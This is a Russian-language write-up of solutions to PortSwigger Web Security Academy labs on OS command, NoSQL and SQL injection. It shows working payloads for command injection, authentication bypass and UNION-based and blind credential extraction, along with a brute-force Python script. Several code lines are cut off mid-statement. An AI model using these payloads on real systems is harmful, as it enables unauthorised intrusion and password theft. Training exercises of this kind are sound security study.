Отчет по решению OS injection

1. Lab: OS command injection, simple case

Пошарился по лабе со включенным burp proxy, нашел post /product/stock, заинджектил в пост запрос `productId=2&storeId=1;whoami`

2. Lab: Blind OS command injection with time delays

В форме feedback можно поинжектить в поле email

```
csrf=CvglT8HVqqhEjwmMgG9Z00uYphRnukWL&name=alaska&
email=qwe%40ru.ru;sleep%2010;&subject=alaska&message=alaska
```

3. Lab: Blind OS command injection with output redirection

Инжект находится в том же месте, где раньше, вывод можно посмотреть по пути /image?filename=who.txt

Отчет по решению NoSQL

1. Lab: Detecting NoSQL injection

Инжект производится такой строкой

```
https://0a8b009a035541b580d0a832008f0051.web-security-academy.net/filter?category=Gi
```

2. Lab: Exploiting NoSQL operator injection to bypass authentication

```
{"username":{
"$regex": "admin.*"},"password":{
"$ne":""}
```

```
}
```

3. Lab: Exploiting NoSQL injection to extract data

Нашел ручку /user/lookup, написал переборный скрипт

```
import subprocess

for i in range(30):

    result = subprocess.check_output(f"curl \"https://0a29004103d5c93c81b761b5006100
                                     shell=True, stderr=subprocess.DEVNULL).deco
    resfind = result.find("Could not find user")
    if resfind == -1:
        pass_len=i


print(pass_len)
alphabet="abcdefghijklmnopqrstuvwxyz"
pass_us = ""
for i in range(pass_len):
    for j in alphabet:
        result = subprocess.check_output(f"curl \"https://0a29004103d5c93c81b761b500
                                     shell=True, stderr=subprocess.DEVNULL).deco

        resfind = result.find("Could not find user")
        if resfind == -1:
            pass_us+=j
            print(pass_us)
            continue
```

Отчет по решению SQL injection

1. Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Нашел, что в url параметрах в запросе при поиске пятисотит при вставке '1=1–

```
https://0aac002e042225ac814c524600eb0023.web-security-academy.net/filter?
category=Clothing%2c+shoes+and+accessories%271=1--
```

Добавил туда OR и решил

2. Lab: SQL injection vulnerability allowing login bypass

В пароль вставил peter'+OR+1=1–

3. Lab: SQL injection attack, querying the database type and version on Oracle

Поиграл со строкой url и информацией из шпоры

```
/filter?category=Clothing%2c+shoes+and+accessories'+UNION+SELECT+banner,+null+FROM+v
```

4. Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

То же что и в прошлом пункте

```
GET /filter?category=Clothing%2c+shoes+and+accessories%27+UNION+SELECT+@@version,+nu
```

5. Lab: SQL injection attack, listing the database contents on non-Oracle databases

При помощи information_schema узнал название таблиц и столбцов, а далее

```
/filter
?category=Food+%26+Drink'+UNION+SELECT+username_zlsgld,+password_pdgcrz+FROM+users_i
```

6. Lab: SQL injection attack, listing the database contents on Oracle

Тут уже было all_tab_columns и all_tables

```
Pets'+UNION+SELECT+USERNAME_QPCQFG,+PASSWORD_SUWKHT+FROM+USERS_OUTBIY--
```

7. Lab: SQL injection UNION attack, determining the number of columns returned by the query

Написал переборный скрипт (lab7.py) и нашел, что нужное количество колонн в запросе - 3

```
https://0a65000d0335c09a818b5cbb001900b1.web-security-academy.net/filter
?category=%27+UNION+SELECT+NULL,NULL,NULL--
```

8. Lab: SQL injection UNION attack, finding a column containing text

По аналогии с прошлым заданием оформил скрипт (lab_8.py), в котором сначала перебором нахожу сколько надо вставить, а затем поочередно каждый заменяю.

```
https://0ac8005a04f8e01c81be480e007d00bf.web-security-academy.net/filter
?category=Pets%27+UNION+SELECT+NULL,%27thfFL2%27,NULL--
```

9. Lab: SQL injection UNION attack, retrieving data from other tables

Просто и понятно сделать query и все

```
https://0aa9009e0396832a8130482600990072.web-security-academy.net/filter?category=Ac
%27UNION%20SELECT%20username,password%20FROM%20users%20WHERE%20username=%27administr
```

10. Lab: SQL injection UNION attack, retrieving multiple values in a single column

Тут секрет был в том, что первое поле - не могло вернуть строку, потому надо было во второе поле обьединить юзера и пароль

```
https://0a6600610493210581l0c1f000fa0057.web-security-academy.net/filter?category=Ac
%27+UNION+SELECT+NULL,username||%27~%27||password+FROM+users--
```

11. Lab: Blind SQL injection with conditional responses

Ужасно долго пытался писать скрипт для перебора на питоне, написал, лежит в lab_11.py

Условие выглядело так:

```
cookies['TrackingId'] = f"ry6OMfqiyJL4qIfd'+AND+(SELECT+SUBSTRING(password,{i+1},1)
+FROM+users+WHERE+username='administrator')='{al}"
```

12. Lab: Blind SQL injection with conditional errors

Тут примерно так же, но отслеживать надо ошибки 500 при делении на ноль если кейс выполняется

```
'||(SELECT+CASE+WHEN+SUBSTR(password,{i+1},1)='{al}'+THEN+TO_CHAR(1/0)+ELSE+''+END
+FROM+users+WHERE+username='administrator')||'
```

13. Lab: Visible error-based SQL injection

Так как мы видим ошибки, то можно попытаться покастовать строку в число 😃

```
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```

14. Lab: Blind SQL injection with time delays

Дал поспать

```
||pg_sleep(10)--
```

15. Lab: Blind SQL injection with time delays and information retrieval

Тут уже тоже скрипт с перебором (lab_15.py)

```
';SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,{i+1},1)='{al}')
+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
```

16 и 17 скип - Burp Collaborator нужен

18. Lab: SQL injection with filter bypass via XML encoding

Прикольно можно научиться пользоваться Hackvertor.

По итогу банальное sql injection, надо только обойти ограничения при помощи плагина

```
<?xml version="1.0" encoding="UTF-8"?>
    <stockCheck>
        <productId>
            2
        </productId>
        <storeId>
            <@dec_entities>
                2 UNION SELECT username||'~'||password FROM users
            </@dec_entities>
        </storeId>
    </stockCheck>
```